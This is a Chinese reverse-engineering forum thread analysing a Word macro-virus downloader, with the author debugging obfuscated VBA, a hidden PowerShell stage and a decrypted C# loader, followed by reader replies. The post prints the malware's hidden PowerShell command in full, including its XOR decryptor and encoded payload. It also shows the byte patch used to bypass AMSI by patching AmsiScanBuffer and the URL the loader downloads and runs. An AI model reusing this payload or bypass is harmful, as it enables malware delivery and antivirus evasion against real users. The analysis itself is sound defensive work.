<progress id="yueoz"><code id="yueoz"><xmp id="yueoz">

      1. 吾愛破解 - LCG - LSG |安卓破解|病毒分析|www.13ee.cn

         找回密碼
         注冊[Register]

        QQ登錄

        只需一步,快速開始

        搜索
        查看: 6652|回復: 146
        上一主題 下一主題

        [PC樣本分析] Word文檔宏病毒樣本分析

            [復制鏈接]
        跳轉到指定樓層
        樓主
        Loopher 發表于 2020-10-20 14:53 回帖獎勵
        使用論壇附件上傳樣本壓縮包時必須使用壓縮密碼保護,壓縮密碼:52pojie,否則會導致論壇被殺毒軟件等誤報,論壇有權隨時刪除相關附件和帖子!
        本帖最后由 Loopher 于 2020-11-13 09:52 編輯

        這是惡意樣本分析的office病毒分析入門篇,這篇筆記主要記錄了如何分析Office類的宏病毒,包括如下

        • 調試VBA宏
        • 使用PowerShell ISE調試分析
        • 調試C#程序

        在次之前曾逆向分析了一些.exe的病毒,但是在很多時候Office類的病毒也時常出現,介于自己對這類病毒的分析不是熟悉,因此在尋找相關內容博客和技術文檔來參考練手。

        新增: sample7.z 密碼使用論壇默認解壓密碼。 注意樣本不要在物理機內使用,請使用虛擬機打開,如果被感染或者其他自負

        樣本基本信息

        在沙箱上可以看到這是一個Word樣本

        運行時會啟動Powershell.exe csc.exe cvtre.exe這三個進程,如下

        由此可以知道改程序會啟動相關的腳本執行,在VT上查詢該樣本,被標記為Downloader
        地址為:

        https://www.virustotal.com/gui/file/a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5/detection

        根據歷史提交檢測時間分析



        該樣本目前仍有有部分殺軟還不支持,看樣子一些廠商還未捕獲該樣本,下面分析一下這個樣本的功能之一下載器。

        樣本分析

        將樣本下載下來后,打開運行后如下提示需要開啟宏功能,如下


        這里很典型的Office類病毒的慣用手法,使用VBA宏來隱藏實際功能,這里進行調試分析VBA宏。

        VBA宏功能分析

        為了能調試分析該宏,我們不能直接點擊Enable Content來啟動宏,調試步驟如下

        • 按住shift鍵
        • 點擊開啟宏功能
        • 釋放shift鍵
        • 按下alt+f11打開宏調試器
        • 調試宏功能
          打開宏調試器之后如下

          雙擊打開宏代碼后如下

          很明顯該程序被混淆了,將代碼復制出來在網上格式化后得到如下程序

          同樣代碼依然被混淆了,這里直接調試在運行時獲取結果。

        調試VBA

        首先在Docuement_Open函數的入口設置斷點(直接點擊側邊的位置即可),如下

        然后點擊運行按鈕后如下(此時程序進入debug狀態)


        緊接著單步步入(F8)進入到函數Lethbridge(ByVal Garniture As String)內,可以看到該函數有一個參數,在入口的位置傳入的值是
        de9a2c49a42b6

        從函數的聲明可以知道該函數返回一個String值,繼續單步進入后來到Lethbridge內之后,將變量窗口打開,在View-->Locals Windows如下

        打開后就能觀察到每個變量的值如下


        經過調試分析后知道,Lethbridge函數是一個字符串解密函數,傳入的參數應該是待解密的字符串值,第一次解密出的內容

        Lethbridge : "winmgmts:\\.\root\cimv2:Win32_Process" : String

        如下

        這里主要是解密并獲取一個WMI 的Win32_Process對象,這個對象在官網上的描述為

        # https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes
        可以通過這個對象來創建進程,獲取進程信息等

        繼續往下調試分析
        在獲取Win32_Process字符串之后調用GetObject函數獲取指定的對象并將獲取的對象傳入到調用函數SnottineSS內,該函數也會解密出一個字符串內容并通過
        Win32_Process.Create函數啟動一個進程,如下


        繼續往下分析后知道,第二次解密出來的內容是一個PowerShell腳本程序,如下

        到了這的時候,此時程序已經解密了PowerShell程序,解密內容如下

        "powershell -WindowStyle Hidden 
        function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "

        手動格式化后如下

        powershell -WindowStyle Hidden 
        
                function y171e {
                param($z4627)$k58be9='a57157c';
                $yce74a='';
                for ($i=0; $i -lt $z4627.length;$i+=2)
                {
                $vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
                $yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
                }
                return 

        從第一條命令可以知道,改程序會在啟動時將PowerShell窗口隱藏并執行后面的程序,這里啟動powerShell ISE工具進行 調試,如下


        這里為了能運行,使用如下命令調用,如下

        function y171e

        運行后程序報錯,如下

        這里是少了參數,腳本還不夠完全應該在啟動PowerShell后應該就能正常了,繼續單步執行,繼續往下不要再單步 步入(F8)

        在繼續單步調試后,觀察到ProcessHacker內的進程列表出現了PowerShell

        此時將PowerShell程序懸掛住不繼續執行,直接在ProcessHacker內選中進程并右鍵,點擊懸掛后即可。如果觀察及時,可以看到csc.exe進程出現一次
        觀察此時的PowerShell進程后如下 點擊進程后右鍵-->屬性(Properties)->Command line


        復制出來這個PowerShell腳本,如下

        powershell -WindowStyle Hidden 
        function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}
        $z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
        $z24c5732 = y171e($z24c573);
        Add-Type -TypeDefinition $z24c5732;
        [yba2983]::c193b();

        可以看到程序調用了y171e,其中傳入的值是$z24c573,從功能上來分析,這里應該是一個解密過程,緊接著調用
        Add-Type -TypeDefinition 表明解密處理的內容是一個.Net的程序,這里是允許該程序加載.Net的框架庫

        # 參考
        https://renenyffenegger.ch/notes/Windows/PowerShell/command-inventory/noun/type/add/index

        接著就通過[yba2983]::c193b();來調用執行,這是通過PowerShell程序調用.Net程序的類進行加載執行的一個語法

        # 參考
        https://blog.adamfurmanek.pl/2016/03/19/executing-c-code-using-powershell-script/

        PowerShell功能分析

        這里調用PowerShell調試器將解密出的內容打印出來并進行分析,貼入代碼到PowerShell ISE內,并設置斷點在Add-Type的位置,同時在上一行打印$z24c5732的值,如下


        此時運行該程序后輸出如下內容

        經過格式化之后得到如下程序

        程序是被混淆了,閱讀起來也比較費勁,因此選擇進行調試解密出來的.Net程序

        C#程序功能分析

        Visual Studio 2015內新建一個C#控制臺程序,并將解密出來的.Net代碼拷貝到程序內,如下

        首先程序會導出kernel32的API供給后續程序使用,如上圖程序內的注釋可以知道,分別導出了

                 [DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);// GetProcAddress
                [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);//LoadLibrary_function
                [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39); //VirtualProtect
                [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e); //RtlMoveMemory

        接著先調用y171e函數執行字符串解密功能,這里會傳入的字符串是待解密字符串,最后會返回解密的內容,如下是解密函數

        解密過程就是遍歷傳入的字符串然后進行異或后返回最終結果,程序接著會進行一系列的判斷然后分別調用GetProcAddress函數,這個API通常是用來獲取指定的模塊的導出函數的指針,由此猜到了第二個字符串解密應該是一個api的解密,緊跟著就判斷獲取的函數是否為空,如果不為空,就調用VirtualProtect函數修改對應的內存屬性PAGE_EXECUTE_READWRITE = 0x40,之后調用Marshal函數分配內存并將

                                                        Byte[] je1ed = {
                                0x31,
                                0xff,
                                0x90
                                                                                                        };
            復制到導出的API函數內,這里就很奇怪,為什么會這么做?經過搜索后發現這里是用來**繞過AMSI的檢測功能**
        
            ```shell
            # 什么是AMSI
            AMSI是微軟的一個反病毒功能,全稱為Antimalware Scan Interface (AMSI),用戶可以將該功能集成到程序內可以防護用戶數據以病毒的入侵。
            ```

            對應的代碼片段

                ## 代碼地址
                https://gist.github.com/TheWover/ad89ed9f402c7bdf1d0eda3cb99c458c

        根據上面的POC代碼知道,這里要對amsi.dll打補丁的函數是AmsiScanBuffer,病毒對應的代碼如下

        可以確定這個程序首先會對AMSI執行打補丁防止被掃描到。最后準備一個文件路徑并調用WebClient函數執行文件下載和執行下載的文件。這里這個C#函數就是一個下載核心的文件并啟動運行。

        下面進入調試步驟,首先看到第一個解密出來的就是amsi.dll如下


        接著是判斷amsi.dll是否不為空,如果不為空則繼續讀取AmsiScanBuffer的指針,這里的amsi.dll是為空

        接著準備待下載的文件路徑,解密拼接后的值如下

        "C:\\Users\\QWER\\AppData\\Roaming\\c9255.exe"

        解密出URL的值,如下

        "https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe"

        下載保存的文件為

        大小為0,應該是地址不能訪問了,這里就不能啟動這個核心的功能了。手動嘗試訪問這個地址發下掛了,應該是被曝光之后被關閉了。

        將提取的url到微步上查詢,微步被標記為了可疑狀態,但是只有Google的檢測出來

        https://s.threatbook.cn/report/url/72d885d5b352c606949c65c8d6cf2691

        在奇安信的威脅研判系統查詢到這是一個遠控病毒

        https://ti.qianxin.com/v2/search?type=domain&value=cannabispropertybrokers.com

        總結

        這個病毒的運行需要開啟宏才能執行,執行流程如下

        這個病毒分析的難點還是在于調試VBA程序、powershell程序、C#這三個過程,在分析的過程中也能熟悉一些宏病毒的一些常規管用手法,一部分廠商不能查殺到可能是該病毒的動態打補丁了amsi.dll繞過了相關檢測。

        特征

        樣本特征

        MD5: 9eafc9090d71b382af7c8c04e83d61d2

        URL

        https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe

        參考

        sample.7z

        25.81 KB, 下載次數: 6, 下載積分: 吾愛幣 -1 CB

        免費評分

        參與人數 61吾愛幣 +56 熱心值 +52 收起 理由
        tjw1203 + 1 + 1 謝謝@Thanks!
        cefu + 1 + 1 熱心回復!
        Tombl7 + 1 + 1 謝謝@Thanks!
        4-SR + 1 + 1 熱心回復!
        lengz123 + 1 我很贊同!
        DefeatGhosts + 1 + 1 我很贊同!
        WAlitudealiy + 1 用心討論,共獲提升!
        清華必修 + 1 + 1 熱心回復!
        Raurean + 1 + 1 我很贊同!
        iMrZeng + 1 + 1 熱心回復!
        a2416b + 1 謝謝@Thanks!
        sdwf + 1 用心討論,共獲提升!
        wanglalaen + 1 用心討論,共獲提升!
        霏映 + 1 熱心回復!
        天際浮云 + 1 + 1 我很贊同!
        Jetset + 1 + 1 用心討論,共獲提升!
        無言Y + 1 + 1 我很贊同!
        零地帶 + 1 + 1 用心討論,共獲提升!
        sunxiansheng + 1 我很贊同!
        teng641105050 + 1 用心討論,共獲提升!
        lucky6666 + 1 + 1 我很贊同!
        美麗的滲透者 + 1 用心討論,共獲提升!
        jstt552200 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
        QingZuo + 1 + 1 用心討論,共獲提升!
        prontosil + 1 熱心回復!
        crazycannon + 1 + 1 用心討論,共獲提升!
        直醬 + 1 + 1 太厲害了。!膜拜orz
        chw1999 + 1 用心討論,共獲提升!
        Thefirst1 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
        Algorithms + 1 + 1 我很贊同!
        抱歉、 + 1 用心討論,共獲提升!
        poisonbcat + 1 + 1 謝謝@Thanks!
        tzxinqing + 2 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
        potatomato + 1 + 1 用心討論,共獲提升!
        Forbbiden + 1 + 1 用心討論,共獲提升!
        wfik + 1 大神啊,感謝分享
        lynxtang + 1 + 1 厲害厲害,學習了
        帛青赤 + 1 + 1 我很贊同!
        0615 + 1 + 1 謝謝@Thanks!
        solymx + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
        lemon__star + 1 + 1 我很贊同!
        明明欣雨 + 1 + 1 厲害,學習了
        837468220 + 1 + 1 用心討論,共獲提升!
        twostudy + 1 + 1 我很贊同!
        我居北海 + 1 + 1 厲害
        獨行風云 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
        自強 + 1 + 1 謝謝@Thanks!
        fengbolee + 1 + 1 用心討論,共獲提升!
        zsq + 1 + 1 謝謝@Thanks!
        azcolf + 1 + 1 用心討論,共獲提升!
        窈窕君子 + 1 + 1 熱心回復!
        wuliwuli + 1 熱心回復!
        NanKeYM + 1 + 1 嘆為觀止啊,可以,學到了
        feifanll + 1 + 1 我很贊同!
        ZZU隔壁老吳 + 1 + 1 謝謝@Thanks!
        bei133 + 1 + 1 謝謝@Thanks!
        zhczf + 1 + 1 我很贊同!
        zpy2 + 1 + 1 我很贊同!
        昨夜星辰恰似你 + 1 + 1 用心討論,共獲提升!
        羅科帷幕 + 1 + 1 用心討論,共獲提升!
        luoxiao + 1 用心討論,共獲提升!

        查看全部評分

        發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

        推薦
        DefeatGhosts 發表于 2020-11-19 10:27
        約定的童話 發表于 2020-10-23 15:39
        excel里面VBA代碼混淆樓主有啥好建議沒?

        word和excel沒區別,都是宏代碼而已,混淆了就調試,看關鍵的字符串,宏代碼里用的較多的例如COM對象,WMI等,找到這些相關的關鍵詞,例如script shell createobject 等一類的關鍵詞,然后直接下斷執行到此處,就可以知道主要的目的是啥了。
        推薦
        無量那由他劫 發表于 2020-11-9 11:11
        Loopher 發表于 2020-11-7 18:04
        樣本分析完了,核心的payload并未獲取到,猜測這個樣本可能是信息竊取,或者勒索病毒。啟用了宏之后offic ...

        那該怎么辦,每次做好表就自動保存xslm文件,然后打開剛剛做的表都沒了,頭大,重裝系統也不行,全盤格式化,又有重要文件無法全盤格式化
        沙發
        JuncoJet 發表于 2020-10-20 15:21
        3#
        Hmily 發表于 2020-10-20 15:27
        圖片盜鏈了,上傳論壇本地吧。
        4#
        深藍海瓊 發表于 2020-10-20 15:35
        學習了,感謝
        5#
        azusys 發表于 2020-10-20 15:52
        圖片掛了··
        6#
        Moofans 發表于 2020-10-20 16:22
        感謝分享,學習了!
        7#
         樓主| Loopher 發表于 2020-10-20 16:53 |樓主
        Hmily 發表于 2020-10-20 15:27
        圖片盜鏈了,上傳論壇本地吧。

        已經上傳了,我自己能看到沒問題,沒想到其他人看不到
        8#
        笨笨家的唯一 發表于 2020-10-20 18:14
        不明覺厲,大佬666
        9#
        昨夜星辰恰似你 發表于 2020-10-20 19:04
        ti.qianxin.com  沙箱是奇安信的哦
        10#
         樓主| Loopher 發表于 2020-10-20 20:54 |樓主
        昨夜星辰恰似你 發表于 2020-10-20 19:04
        ti.qianxin.com  沙箱是奇安信的哦

        嘿嘿,弄錯了,改一下,
        您需要登錄后才可以回帖 登錄 | 注冊[Register]

        本版積分規則 警告:本版塊禁止灌水或回復與主題無關內容,違者重罰!

        快速回復 收藏帖子 返回列表 搜索

        RSS訂閱|小黑屋|處罰記錄|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

        GMT+8, 2020-11-24 23:51

        Powered by Discuz!

        Copyright © 2001-2020, Tencent Cloud.

        快速回復 返回頂部 返回列表
        快三开奖结果